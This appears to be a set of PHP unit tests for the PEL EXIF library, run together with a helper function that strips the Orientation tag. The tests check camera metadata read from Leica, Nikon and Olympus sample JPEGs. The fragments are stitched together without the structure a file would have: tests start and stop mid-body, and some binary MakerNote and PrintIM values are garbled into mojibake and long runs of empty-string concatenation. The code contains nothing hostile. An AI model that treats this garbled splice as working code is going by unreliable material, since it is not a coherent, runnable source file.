$this->assertEqual($entry->getText(), 'top - left');
$entry = $ifd0->getEntry(282);
// XResolution
$this->assertIsA($entry, 'PelEntryRational');
$this->assertEqual($entry->getValue(), array(0 => 72, 1 => 1));
$this->assertEqual($entry->getText(), '72/1');
$entry = $ifd0->getEntry(283);
// YResolution
$this->assertIsA($entry, 'PelEntryRational');
$this->assertEqual($entry->getValue(), array(0 => 72, 1 => 1));
$this->assertEqual($entry->getText(), '72/1');
$entry = $ifd0->getEntry(296);
// ResolutionUnit
$this->assertIsA($entry, 'PelEntryShort');
$this->assertEqual($entry->getValue(), 2);
$this->assertEqual($entry->getText(), 'Inch');
$entry = $ifd0->getEntry(305);
// Software
$this->assertIsA($entry, 'PelEntryAscii');
$this->assertEqual($entry->getValue(), 'Ver1.06');
$this->assertEqual($entry->getText(), 'Ver1.06');
$entry = $ifd0->getEntry(306);
// DateTime
$this->assertIsA($entry, 'PelEntryTime');
$this->assertEqual($entry->getValue(), 1099994128);
$this->assertEqual($entry->getText(), '2004:11:09 09:55:28');
$entry = $ifd0->getEntry(531);
// YCbCrPositioning
$this->assertIsA($entry, 'PelEntryShort');
$this->assertEqual($entry->getValue(), 2);
$this->assertEqual($entry->getText(), 'co-sited');
$entry = $ifd0->getEntry(50341);
// PrintIM
$this->assertIsA($entry, 'PelEntryUndefined');
$this->assertEqual($entry->getValue(), 'PrintIM0250d
¬
Ä€ \' \'7\'°\' \'^\'‹\'Ë\'å\'');
$this->assertEqual($entry->getText(), '(undefined)');
/* Sub IFDs of $ifd0. */
$this->assertEqual(count($ifd0->getSubIfds()), 1);
$ifd0_0 = $ifd0->getSubIfd(2);
// IFD Exif
$this->assertIsA($ifd0_0, 'PelIfd');
/* Start of IDF $ifd0_0. */
$this->assertEqual(count($ifd0_0->getEntries()), 37);
$entry = $ifd0_0->getEntry(33434);
// ExposureTime
$this->assertIsA($entry, 'PelEntryRational');
$this->assertEqual($entry->getValue(), array(0 => 10, 1 => 1000));
$this->assertEqual($entry->getText(), '1/100 sec.');
$entry = $ifd0_0->getEntry(33437);
// FNumber
$this->assertIsA($entry, 'PelEntryRational');
$this->assertEqual($entry->getValue(), array(0 => 97, 1 => 10));
$this->assertEqual($entry->getText(), 'f/9.7');
$entry = $ifd0_0->getEntry(34850);
// ExposureProgram
$this->assertIsA($entry, 'PelEntryShort');
$this->assertEqual($entry->getValue(), 2);
$this->assertEqual($entry->getText(), 'Normal program');
$entry = $ifd0_0->getEntry(34855);
// ISOSpeedRatings
$this->assertIsA($entry, 'PelEntryShort');
$this->assertEqual($entry->getValue(), 100);
$this->assertEqual($entry->getText(), '100');
$entry = $ifd0_0->getEntry(36864);
// ExifVersion
$this->assertIsA($entry, 'PelEntryVersion');
$this->assertEqual($entry->getValue(), 2.2);
$this->assertEqual($entry->getText(), 'Exif Version 2.2');
$entry = $ifd0_0->getEntry(36867);
// DateTimeOriginal
$this->assertIsA($entry, 'PelEntryTime');
$this->assertEqual($entry->getValue(), 1099994128);
$this->assertEqual($entry->getText(), '2004:11:09 09:55:28');
$entry = $ifd0_0->getEntry(36868);
// DateTimeDigitized
$this->assertIsA($entry, 'PelEntryTime');
$this->assertEqual($entry->getValue(), 1099994128);
$this->assertEqual($entry->getText(), '2004:11:09 09:55:28');
$entry = $ifd0_0->getEntry(37121);
// ComponentsConfiguration
$this->assertIsA($entry, 'PelEntryUndefined');
$this->assertEqual($entry->getValue(), '');
$this->assertEqual($entry->getText(), 'Y Cb Cr -');
$entry = $ifd0_0->getEntry(37122);
// CompressedBitsPerPixel
$this->assertIsA($entry, 'PelEntryRational');
$this->assertEqual($entry->getValue(), array(0 => 21, 1 => 10));
$this->assertEqual($entry->getText(), '21/10');
$entry = $ifd0_0->getEntry(37377);
// ShutterSpeedValue
$this->assertIsA($entry, 'PelEntrySRational');
$this->assertEqual($entry->getValue(), array(0 => 6644, 1 => 1000));
$this->assertEqual($entry->getText(), '6644/1000 sec. (APEX: 10)');
$entry = $ifd0_0->getEntry(37378);
// ApertureValue
$this->assertIsA($entry, 'PelEntryRational');
$this->assertEqual($entry->getValue(), array(0 => 66, 1 => 10));
$this->assertEqual($entry->getText(), 'f/9.8');
$entry = $ifd0_0->getEntry(37380);
// ExposureBiasValue
$this->assertIsA($entry, 'PelEntrySRational');
$this->assertEqual($entry->getValue(), array(0 => 0, 1 => 100));
$this->assertEqual($entry->getText(), '0.0');
$entry = $ifd0_0->getEntry(37381);
// MaxApertureValue
$this->assertIsA($entry, 'PelEntryRational');
$this->assertEqual($entry->getValue(), array(0 => 30, 1 => 10));
$this->assertEqual($entry->getText(), '30/10');
$entry = $ifd0_0->getEntry(37383);
// MeteringMode
$this->assertIsA($entry, 'PelEntryShort');
$this->assertEqual($entry->getValue(), 3);
$this->assertEqual($entry->getText(), 'Spot');
$entry = $ifd0_0->getEntry(37384);
// LightSource
$this->assertIsA($entry, 'PelEntryShort');
$this->assertEqual($entry->getValue(), 1);
$this->assertEqual($entry->getText(), 'Daylight');
$entry = $ifd0_0->getEntry(37385);
// Flash
$this->assertIsA($entry, 'PelEntryShort');
$this->assertEqual($entry->getValue(), 24);
$this->assertEqual($entry->getText(), 'Flash did not fire, auto mode.');
$entry = $ifd0_0->getEntry(37386);
// FocalLength
$this->assertIsA($entry, 'PelEntryRational');
$this->assertEqual($entry->getValue(), array(0 => 88, 1 => 10));
$this->assertEqual($entry->getText(), '8.8 mm');
$entry = $ifd0_0->getEntry(37500);
// MakerNote
$this->assertIsA($entry, 'PelEntryUndefined');
$this->assertEqual($entry->getValue(), 'LEICA 0100 !r^"WBb6¹’¨ŒÜ KœÕ; D «l¸AF–Ž ST$AE§L( “Dà
EP
');
$this->assertEqual($entry->getText(), '256 bytes unknown MakerNote data');
$entry = $ifd0_0->getEntry(40960);
// FlashPixVersion
$this->assertIsA($entry, 'PelEntryVersion');
$this->assertEqual($entry->getValue(), 1);
$this->assertEqual($entry->getText(), 'FlashPix Version 1.0');
$entry = $ifd0_0->getEntry(40961);
// ColorSpace
$this->assertIsA($entry, 'PelEntryShort');
$this->assertEqual($entry->getValue(), 1);
$this->assertEqual($entry->getText(), 'sRGB');
$entry = $ifd0_0->getEntry(40962);
// PixelXDimension
$this->assertIsA($entry, 'PelEntryLong');
$this->assertEqual($entry->getValue(), 640);
$this->assertEqual($entry->getText(), '640');
$entry = $ifd0_0->getEntry(40963);
// PixelYDimension
$this->assertIsA($entry, 'PelEntryLong');
$this->assertEqual($entry->getValue(), 480);
$this->assertEqual($entry->getText(), '480');
$entry = $ifd0_0->getEntry(41495);
// SensingMethod
$this->assertIsA($entry, 'PelEntryShort');
$this->assertEqual($entry->getValue(), 2);
$this->assertEqual($entry->getText(), 'One-chip color area sensor');
$entry = $ifd0_0->getEntry(41728);
// FileSource
$this->assertIsA($entry, 'PelEntryUndefined');
$this->assertEqual($entry->getValue(), '');
$this->assertEqual($entry->getText(), 'DSC');
$entry = $ifd0_0->getEntry(41729);
// SceneType
$this->assertIsA($entry, 'PelEntryUndefined');
$this->assertEqual($entry->getValue(), '');
$this->assertEqual($entry->getText(), 'Directly photographed');
$entry = $ifd0_0->getEntry(41730);
// CFAPattern
$this->assertIsA($entry, 'PelEntryUndefined');
$this->assertEqual($entry->getValue(), '');
$this->assertEqual($entry->getText(), '(undefined)');
$entry = $ifd0_0->getEntry(41985);
// CustomRendered
$this->assertIsA($entry, 'PelEntryShort');
$this->assertEqual($entry->getValue(), 0);
$this->assertEqual($entry->getText(), 'Normal process');
$entry = $ifd0_0->getEntry(41986);
// ExposureMode
$this->assertIsA($entry, 'PelEntryShort');
$this->assertEqual($entry->getValue(), 0);
$this->assertEqual($entry->getText(), 'Auto exposure');
$entry = $ifd0_0->getEntry(41987);
// WhiteBalance
$this->assertIsA($entry, 'PelEntryShort');
$this->assertEqual($entry->getValue(), 0);
$this->assertEqual($entry->getText(), 'Auto white balance');
$entry = $ifd0_0->getEntry(41988);
// DigitalZoomRatio
$this->assertIsA($entry, 'PelEntryRational');
$this->assertEqual($entry->getValue(), array(0 => 0, 1 => 10));
$this->assertEqual($entry->getText(), '0/10');
$entry = $ifd0_0->getEntry(41989);
// FocalLengthIn35mmFilm
$this->assertIsA($entry, 'PelEntryShort');
$this->assertEqual($entry->getValue(), 53);
$this->assertEqual($entry->getText(), '53');
$entry = $ifd0_0->getEntry(41990);
// SceneCaptureType
$this->assertIsA($entry, 'PelEntryShort');
$this->assertEqual($entry->getValue(), 0);
$this->assertEqual($entry->getText(), 'Standard');
$entry = $ifd0_0->getEntry(41991);
// GainControl
$this->assertIsA($entry, 'PelEntryShort');
$this->assertEqual($entry->getValue(), 0);
$this->assertEqual($entry->getText(), 'Normal');
$entry = $ifd0_0->getEntry(41992);
// Contrast
$this->assertIsA($entry, 'PelEntryShort');
$this->assertEqual($entry->getValue(), 0);
$this->assertEqual($entry->getText(), 'Normal');
$entry = $ifd0_0->getEntry(41993);
// Saturation
$this->assertIsA($entry, 'PelEntryShort');
$this->assertEqual($entry->getValue(), 0);
$this->assertEqual($entry->getText(), 'Normal');
$entry = $ifd0_0->getEntry(41994);
// Sharpness
$this->assertIsA($entry, 'PelEntryShort');
$this->assertEqual($entry->getValue(), 0);
$this->assertEqual($entry->getText(), 'Normal');
$entry = $ifd0_0->getEntry(41996);
// SubjectDistanceRange
$this->assertIsA($entry, 'PelEntryShort');
$this->assertEqual($entry->getValue(), 2);
$this->assertEqual($entry->getText(), 'Close view');
/* Sub IFDs of $ifd0_0. */
$this->assertEqual(count($ifd0_0->getSubIfds()), 1);
$ifd0_0_0 = $ifd0_0->getSubIfd(4);
// IFD Interoperability
$this->assertIsA($ifd0_0_0, 'PelIfd');
/* Start of IDF $ifd0_0_0. */
$this->assertEqual(count($ifd0_0_0->getEntries()), 2);
$entry = $ifd0_0_0->getEntry(1);
// InteroperabilityIndex
$this->assertIsA($entry, 'PelEntryAscii');
$this->assertEqual($entry->getValue(), 'R98');
$this->assertEqual($entry->getText(), 'R98');
$entry = $ifd0_0_0->getEntry(2);
// InteroperabilityVersion
$this->assertIsA($entry, 'PelEntryVersion');
$this->assertEqual($entry->getValue(), 1);
$this->assertEqual($entry->getText(), 'Interoperability Version 1.0');
/* Sub IFDs of $ifd0_0_0. */
$this->assertEqual(count($ifd0_0_0->getSubIfds()), 0);
$this->assertEqual($ifd0_0_0->getThumbnailData(), '');
/* Next IFD. */
$ifd0_0_1 = $ifd0_0_0->getNextIfd();
$this->assertNull($ifd0_0_1);
/* End of IFD $ifd0_0_0. */
$this->assertEqual($ifd0_0->getThumbnailData(), '');
/* Next IFD. */
$ifd0_1 = $ifd0_0->getNextIfd();
$this->assertNull($ifd0_1);
/* End of IFD $ifd0_0. */
$this->assertEqual($ifd0->getThumbnailData(), '');
/* Next IFD. */
$ifd1 = $ifd0->getNextIfd();
$this->assertIsA($ifd1, 'PelIfd');
/* End of IFD $ifd0. */
/* Start of IDF $ifd1. */
$this->assertEqual(count($ifd1->getEntries()), 5);
$entry = $ifd1->getEntry(259);
// Compression
$this->assertIsA($entry, 'PelEntryShort');
$this->assertEqual($entry->getValue(), 6);
$this->assertEqual($entry->getText(), 'JPEG compression');
$entry = $ifd1->getEntry(282);
// XResolution
$this->assertIsA($entry, 'PelEntryRational');
$this->assertEqual($entry->getValue(), array(0 => 72, 1 => 1));
$this->assertEqual($entry->getText(), '72/1');
$entry = $ifd1->getEntry(283);
// YResolution
$this->assertIsA($entry, 'PelEntryRational');
$this->assertEqual($entry->getValue(), array(0 => 72, 1 => 1));
$this->assertEqual($entry->getText(), '72/1');
$entry = $ifd1->getEntry(296);
// ResolutionUnit
$this->assertIsA($entry, 'PelEntryShort');
$this->assertEqual($entry->getValue(), 2);
$this->assertEqual($entry->getText(), 'Inch');
$entry = $ifd1->getEntry(531);
// YCbCrPositioning
$this->assertIsA($entry, 'PelEntryShort');
$this->assertEqual($entry->getValue(), 2);
$this->assertEqual($entry->getText(), 'co-sited');
/* Sub IFDs of $ifd1. */
$this->assertEqual(count($ifd1->getSubIfds()), 0);
$thumb_data = file_get_contents(dirname(__FILE__) . '/leica-d-lux-thumb.jpg');
$this->assertEqual($ifd1->getThumbnailData(), $thumb_data);
/* Next IFD. */
$ifd2 = $ifd1->getNextIfd();
$this->assertNull($ifd2);
/* End of IFD $ifd1. */
$this->assertTrue(count(Pel::getExceptions()) == 0);
/**
* Strip orientation from EXIF data for an image at a path.
*
* @param $filePath
*
* @return bool
*/
public function stripOrientationFromExifData($filePath)
{
if (!ImageHelper::canHaveExifData($filePath)) {
return null;
}
$data = new \PelDataWindow(IOHelper::getFileContents($filePath));
// Is this a valid JPEG?
if (\PelJpeg::isValid($data)) {
$jpeg = $file = new \PelJpeg();
$jpeg->load($data);
$exif = $jpeg->getExif();
if ($exif) {
$tiff = $exif->getTiff();
$ifd0 = $tiff->getIfd();
// Delete the Orientation entry and re-save the file
$ifd0->offsetUnset(\PelTag::ORIENTATION);
$file->saveFile($filePath);
}
return true;
} else {
return false;
}
}
function testRead()
{
Pel::clearExceptions();
Pel::setStrictParsing(false);
$jpeg = new PelJpeg(dirname(__FILE__) . '/nikon-e5000.jpg');
$exif = $jpeg->getExif();
$this->assertIsA($exif, 'PelExif');
$tiff = $exif->getTiff();
$this->assertIsA($tiff, 'PelTiff');
/* The first IFD. */
$ifd0 = $tiff->getIfd();
$this->assertIsA($ifd0, 'PelIfd');
/* Start of IDF $ifd0. */
$this->assertEqual(count($ifd0->getEntries()), 9);
$entry = $ifd0->getEntry(270);
// ImageDescription
$this->assertIsA($entry, 'PelEntryAscii');
$this->assertEqual($entry->getValue(), ' ');
$this->assertEqual($entry->getText(), ' ');
$entry = $ifd0->getEntry(271);
// Make
$this->assertIsA($entry, 'PelEntryAscii');
$this->assertEqual($entry->getValue(), 'NIKON');
$this->assertEqual($entry->getText(), 'NIKON');
$entry = $ifd0->getEntry(272);
// Model
$this->assertIsA($entry, 'PelEntryAscii');
$this->assertEqual($entry->getValue(), 'E5000');
$this->assertEqual($entry->getText(), 'E5000');
$entry = $ifd0->getEntry(282);
// XResolution
$this->assertIsA($entry, 'PelEntryRational');
$this->assertEqual($entry->getValue(), array(0 => 300, 1 => 1));
$this->assertEqual($entry->getText(), '300/1');
$entry = $ifd0->getEntry(283);
// YResolution
$this->assertIsA($entry, 'PelEntryRational');
$this->assertEqual($entry->getValue(), array(0 => 300, 1 => 1));
$this->assertEqual($entry->getText(), '300/1');
$entry = $ifd0->getEntry(296);
// ResolutionUnit
$this->assertIsA($entry, 'PelEntryShort');
$this->assertEqual($entry->getValue(), 2);
$this->assertEqual($entry->getText(), 'Inch');
$entry = $ifd0->getEntry(305);
// Software
$this->assertIsA($entry, 'PelEntryAscii');
$this->assertEqual($entry->getValue(), 'E5000v1.6');
$this->assertEqual($entry->getText(), 'E5000v1.6');
$entry = $ifd0->getEntry(306);
// DateTime
$this->assertIsA($entry, 'PelEntryTime');
$this->assertEqual($entry->getValue(), 1021992832);
$this->assertEqual($entry->getText(), '2002:05:21 14:53:52');
$entry = $ifd0->getEntry(531);
// YCbCrPositioning
$this->assertIsA($entry, 'PelEntryShort');
$this->assertEqual($entry->getValue(), 1);
$this->assertEqual($entry->getText(), 'centered');
/* Sub IFDs of $ifd0. */
$this->assertEqual(count($ifd0->getSubIfds()), 2);
$ifd0_0 = $ifd0->getSubIfd(2);
// IFD Exif
$this->assertIsA($ifd0_0, 'PelIfd');
/* Start of IDF $ifd0_0. */
$this->assertEqual(count($ifd0_0->getEntries()), 22);
$entry = $ifd0_0->getEntry(33434);
// ExposureTime
$this->assertIsA($entry, 'PelEntryRational');
$this->assertEqual($entry->getValue(), array(0 => 1642036, 1 => 100000000));
$this->assertEqual($entry->getText(), '1/60 sec.');
$entry = $ifd0_0->getEntry(33437);
// FNumber
$this->assertIsA($entry, 'PelEntryRational');
$this->assertEqual($entry->getValue(), array(0 => 28, 1 => 10));
$this->assertEqual($entry->getText(), 'f/2.8');
$entry = $ifd0_0->getEntry(34850);
// ExposureProgram
$this->assertIsA($entry, 'PelEntryShort');
$this->assertEqual($entry->getValue(), 2);
$this->assertEqual($entry->getText(), 'Normal program');
$entry = $ifd0_0->getEntry(34855);
// ISOSpeedRatings
$this->assertIsA($entry, 'PelEntryShort');
$this->assertEqual($entry->getValue(), 100);
$this->assertEqual($entry->getText(), '100');
$entry = $ifd0_0->getEntry(36864);
// ExifVersion
$this->assertIsA($entry, 'PelEntryVersion');
$this->assertEqual($entry->getValue(), 2.1);
$this->assertEqual($entry->getText(), 'Exif Version 2.1');
$entry = $ifd0_0->getEntry(36867);
// DateTimeOriginal
$this->assertIsA($entry, 'PelEntryTime');
$this->assertEqual($entry->getValue(), 1021992832);
$this->assertEqual($entry->getText(), '2002:05:21 14:53:52');
$entry = $ifd0_0->getEntry(36868);
// DateTimeDigitized
$this->assertIsA($entry, 'PelEntryTime');
$this->assertEqual($entry->getValue(), 1021992832);
$this->assertEqual($entry->getText(), '2002:05:21 14:53:52');
$entry = $ifd0_0->getEntry(37121);
// ComponentsConfiguration
$this->assertIsA($entry, 'PelEntryUndefined');
$this->assertEqual($entry->getValue(), '');
$this->assertEqual($entry->getText(), 'Y Cb Cr -');
$entry = $ifd0_0->getEntry(37380);
// ExposureBiasValue
$this->assertIsA($entry, 'PelEntrySRational');
$this->assertEqual($entry->getValue(), array(0 => 0, 1 => 10));
$this->assertEqual($entry->getText(), '0.0');
$entry = $ifd0_0->getEntry(37381);
// MaxApertureValue
$this->assertIsA($entry, 'PelEntryRational');
$this->assertEqual($entry->getValue(), array(0 => 3, 1 => 1));
$this->assertEqual($entry->getText(), '3/1');
$entry = $ifd0_0->getEntry(37383);
// MeteringMode
$this->assertIsA($entry, 'PelEntryShort');
$this->assertEqual($entry->getValue(), 5);
$this->assertEqual($entry->getText(), 'Pattern');
$entry = $ifd0_0->getEntry(37384);
// LightSource
$this->assertIsA($entry, 'PelEntryShort');
$this->assertEqual($entry->getValue(), 0);
$this->assertEqual($entry->getText(), 'Unknown');
$entry = $ifd0_0->getEntry(37385);
// Flash
$this->assertIsA($entry, 'PelEntryShort');
$this->assertEqual($entry->getValue(), 0);
$this->assertEqual($entry->getText(), 'Flash did not fire.');
$entry = $ifd0_0->getEntry(37386);
// FocalLength
$this->assertIsA($entry, 'PelEntryRational');
$this->assertEqual($entry->getValue(), array(0 => 71, 1 => 10));
$this->assertEqual($entry->getText(), '7.1 mm');
$entry = $ifd0_0->getEntry(37500);
// MakerNote
$this->assertIsA($entry, 'PelEntryUndefined');
$this->assertEqual($entry->getValue(), '��
���
�
����
�"�*��2��D�JrCOLORFINE AUTO 1AUTO AF-C :NORMAL �"�AUTO AUTO OFF OFF PrintIM0100
^
�
� \' \'�\'�\' \'^\'�\'�\'�\'');
$this->assertEqual($entry->getText(), '604 bytes unknown MakerNote data');
$entry = $ifd0_0->getEntry(37510);
// UserComment
$this->assertIsA($entry, 'PelEntryUserComment');
$this->assertEqual($entry->getValue(), ' ');
$this->assertEqual($entry->getText(), ' ');
$entry = $ifd0_0->getEntry(40960);
// FlashPixVersion
$this->assertIsA($entry, 'PelEntryVersion');
$this->assertEqual($entry->getValue(), 1);
$this->assertEqual($entry->getText(), 'FlashPix Version 1.0');
$entry = $ifd0_0->getEntry(40961);
// ColorSpace
$this->assertIsA($entry, 'PelEntryShort');
$this->assertEqual($entry->getValue(), 1);
$this->assertEqual($entry->getText(), 'sRGB');
$entry = $ifd0_0->getEntry(40962);
// PixelXDimension
$this->assertIsA($entry, 'PelEntryLong');
$this->assertEqual($entry->getValue(), 1600);
$this->assertEqual($entry->getText(), '1600');
$entry = $ifd0_0->getEntry(40963);
// PixelYDimension
$this->assertIsA($entry, 'PelEntryLong');
$this->assertEqual($entry->getValue(), 1200);
$this->assertEqual($entry->getText(), '1200');
$entry = $ifd0_0->getEntry(41728);
// FileSource
$this->assertIsA($entry, 'PelEntryUndefined');
$this->assertEqual($entry->getValue(), '');
$this->assertEqual($entry->getText(), 'DSC');
$entry = $ifd0_0->getEntry(41729);
// SceneType
$this->assertIsA($entry, 'PelEntryUndefined');
$this->assertEqual($entry->getValue(), '');
$this->assertEqual($entry->getText(), 'Directly photographed');
/* Sub IFDs of $ifd0_0. */
$this->assertEqual(count($ifd0_0->getSubIfds()), 0);
$this->assertEqual($ifd0_0->getThumbnailData(), '');
/* Next IFD. */
$ifd0_1 = $ifd0_0->getNextIfd();
$this->assertNull($ifd0_1);
/* End of IFD $ifd0_0. */
$ifd0_1 = $ifd0->getSubIfd(3);
// IFD GPS
$this->assertIsA($ifd0_1, 'PelIfd');
/* Start of IDF $ifd0_1. */
$this->assertEqual(count($ifd0_1->getEntries()), 0);
/* Sub IFDs of $ifd0_1. */
$this->assertEqual(count($ifd0_1->getSubIfds()), 0);
$this->assertEqual($ifd0_1->getThumbnailData(), '');
/* Next IFD. */
$ifd0_2 = $ifd0_1->getNextIfd();
$this->assertNull($ifd0_2);
/* End of IFD $ifd0_1. */
$this->assertEqual($ifd0->getThumbnailData(), '');
/* Next IFD. */
$ifd1 = $ifd0->getNextIfd();
$this->assertIsA($ifd1, 'PelIfd');
/* End of IFD $ifd0. */
/* Start of IDF $ifd1. */
$this->assertEqual(count($ifd1->getEntries()), 4);
$entry = $ifd1->getEntry(259);
// Compression
$this->assertIsA($entry, 'PelEntryShort');
$this->assertEqual($entry->getValue(), 6);
$this->assertEqual($entry->getText(), 'JPEG compression');
$entry = $ifd1->getEntry(282);
// XResolution
$this->assertIsA($entry, 'PelEntryRational');
$this->assertEqual($entry->getValue(), array(0 => 72, 1 => 1));
$this->assertEqual($entry->getText(), '72/1');
$entry = $ifd1->getEntry(283);
// YResolution
$this->assertIsA($entry, 'PelEntryRational');
$this->assertEqual($entry->getValue(), array(0 => 72, 1 => 1));
$this->assertEqual($entry->getText(), '72/1');
$entry = $ifd1->getEntry(296);
// ResolutionUnit
$this->assertIsA($entry, 'PelEntryShort');
$this->assertEqual($entry->getValue(), 2);
$this->assertEqual($entry->getText(), 'Inch');
/* Sub IFDs of $ifd1. */
$this->assertEqual(count($ifd1->getSubIfds()), 0);
$thumb_data = file_get_contents(dirname(__FILE__) . '/nikon-e5000-thumb.jpg');
$this->assertEqual($ifd1->getThumbnailData(), $thumb_data);
/* Next IFD. */
$ifd2 = $ifd1->getNextIfd();
$this->assertNull($ifd2);
function testRead()
{
Pel::clearExceptions();
Pel::setStrictParsing(false);
$jpeg = new PelJpeg(dirname(__FILE__) . '/olympus-c765uz.jpg');
$exif = $jpeg->getExif();
$this->assertIsA($exif, 'PelExif');
$tiff = $exif->getTiff();
$this->assertIsA($tiff, 'PelTiff');
/* The first IFD. */
$ifd0 = $tiff->getIfd();
$this->assertIsA($ifd0, 'PelIfd');
/* Start of IDF $ifd0. */
$this->assertEqual(count($ifd0->getEntries()), 11);
$entry = $ifd0->getEntry(270);
// ImageDescription
$this->assertIsA($entry, 'PelEntryAscii');
$this->assertEqual($entry->getValue(), 'OLYMPUS DIGITAL CAMERA ');
$this->assertEqual($entry->getText(), 'OLYMPUS DIGITAL CAMERA ');
$entry = $ifd0->getEntry(271);
// Make
$this->assertIsA($entry, 'PelEntryAscii');
$this->assertEqual($entry->getValue(), 'OLYMPUS CORPORATION');
$this->assertEqual($entry->getText(), 'OLYMPUS CORPORATION');
$entry = $ifd0->getEntry(272);
// Model
$this->assertIsA($entry, 'PelEntryAscii');
$this->assertEqual($entry->getValue(), 'C765UZ');
$this->assertEqual($entry->getText(), 'C765UZ');
$entry = $ifd0->getEntry(274);
// Orientation
$this->assertIsA($entry, 'PelEntryShort');
$this->assertEqual($entry->getValue(), 1);
$this->assertEqual($entry->getText(), 'top - left');
$entry = $ifd0->getEntry(282);
// XResolution
$this->assertIsA($entry, 'PelEntryRational');
$this->assertEqual($entry->getValue(), array(0 => 72, 1 => 1));
$this->assertEqual($entry->getText(), '72/1');
$entry = $ifd0->getEntry(283);
// YResolution
$this->assertIsA($entry, 'PelEntryRational');
$this->assertEqual($entry->getValue(), array(0 => 72, 1 => 1));
$this->assertEqual($entry->getText(), '72/1');
$entry = $ifd0->getEntry(296);
// ResolutionUnit
$this->assertIsA($entry, 'PelEntryShort');
$this->assertEqual($entry->getValue(), 2);
$this->assertEqual($entry->getText(), 'Inch');
$entry = $ifd0->getEntry(305);
// Software
$this->assertIsA($entry, 'PelEntryAscii');
$this->assertEqual($entry->getValue(), 'v777-76');
$this->assertEqual($entry->getText(), 'v777-76');
$entry = $ifd0->getEntry(306);
// DateTime
$this->assertIsA($entry, 'PelEntryTime');
$this->assertEqual($entry->getValue(), 1090073972);
$this->assertEqual($entry->getText(), '2004:07:17 14:19:32');
$entry = $ifd0->getEntry(531);
// YCbCrPositioning
$this->assertIsA($entry, 'PelEntryShort');
$this->assertEqual($entry->getValue(), 2);
$this->assertEqual($entry->getText(), 'co-sited');
$entry = $ifd0->getEntry(50341);
// PrintIM
$this->assertIsA($entry, 'PelEntryUndefined');
$this->assertEqual($entry->getValue(), 'PrintIM' . "" . '0250' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . ' ' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '
' . "" . '' . "" . '' . "" . '' . "" . '' . "" . ' ' . "" . 'а' . "" . '' . "" . '' . "" . ' ' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '
' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . 'ш' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . 'џ' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . ' ' . "" . '' . "" . '\'' . "" . '' . "" . ' ' . "" . '' . "" . '\'' . "" . '' . "" . '' . "" . '' . "" . '\'' . "" . '' . "" . 'А' . "" . '' . "" . '\'' . "" . '' . "" . ' ' . "" . '' . "" . '\'' . "" . '' . "" . '^' . "" . '' . "" . '\'' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '\'' . "" . '' . "" . 'Ы' . "" . '' . "" . '\'' . "" . '' . "" . 'х' . "" . '' . "" . '\'' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '!' . "" . '' . "" . '' . "" . '' . "" . '' . "" . 'И' . "" . '' . "" . '');
$this->assertEqual($entry->getText(), '(undefined)');
/* Sub IFDs of $ifd0. */
$this->assertEqual(count($ifd0->getSubIfds()), 1);
$ifd0_0 = $ifd0->getSubIfd(2);
// IFD Exif
$this->assertIsA($ifd0_0, 'PelIfd');
/* Start of IDF $ifd0_0. */
$this->assertEqual(count($ifd0_0->getEntries()), 32);
$entry = $ifd0_0->getEntry(33434);
// ExposureTime
$this->assertIsA($entry, 'PelEntryRational');
$this->assertEqual($entry->getValue(), array(0 => 10, 1 => 2000));
$this->assertEqual($entry->getText(), '1/200 sec.');
$entry = $ifd0_0->getEntry(33437);
// FNumber
$this->assertIsA($entry, 'PelEntryRational');
$this->assertEqual($entry->getValue(), array(0 => 32, 1 => 10));
$this->assertEqual($entry->getText(), 'f/3.2');
$entry = $ifd0_0->getEntry(34850);
// ExposureProgram
$this->assertIsA($entry, 'PelEntryShort');
$this->assertEqual($entry->getValue(), 5);
$this->assertEqual($entry->getText(), 'Creative program (biased toward depth of field)');
$entry = $ifd0_0->getEntry(34855);
// ISOSpeedRatings
$this->assertIsA($entry, 'PelEntryShort');
$this->assertEqual($entry->getValue(), 64);
$this->assertEqual($entry->getText(), '64');
$entry = $ifd0_0->getEntry(36864);
// ExifVersion
$this->assertIsA($entry, 'PelEntryVersion');
$this->assertEqual($entry->getValue(), 2.2);
$this->assertEqual($entry->getText(), 'Exif Version 2.2');
$entry = $ifd0_0->getEntry(36867);
// DateTimeOriginal
$this->assertIsA($entry, 'PelEntryTime');
$this->assertEqual($entry->getValue(), 1090073972);
$this->assertEqual($entry->getText(), '2004:07:17 14:19:32');
$entry = $ifd0_0->getEntry(36868);
// DateTimeDigitized
$this->assertIsA($entry, 'PelEntryTime');
$this->assertEqual($entry->getValue(), 1090073972);
$this->assertEqual($entry->getText(), '2004:07:17 14:19:32');
$entry = $ifd0_0->getEntry(37121);
// ComponentsConfiguration
$this->assertIsA($entry, 'PelEntryUndefined');
$this->assertEqual($entry->getValue(), '' . "" . '');
$this->assertEqual($entry->getText(), 'Y Cb Cr -');
$entry = $ifd0_0->getEntry(37122);
// CompressedBitsPerPixel
$this->assertIsA($entry, 'PelEntryRational');
$this->assertEqual($entry->getValue(), array(0 => 2, 1 => 1));
$this->assertEqual($entry->getText(), '2/1');
$entry = $ifd0_0->getEntry(37380);
// ExposureBiasValue
$this->assertIsA($entry, 'PelEntrySRational');
$this->assertEqual($entry->getValue(), array(0 => 0, 1 => 10));
$this->assertEqual($entry->getText(), '0.0');
$entry = $ifd0_0->getEntry(37381);
// MaxApertureValue
$this->assertIsA($entry, 'PelEntryRational');
$this->assertEqual($entry->getValue(), array(0 => 34, 1 => 10));
$this->assertEqual($entry->getText(), '34/10');
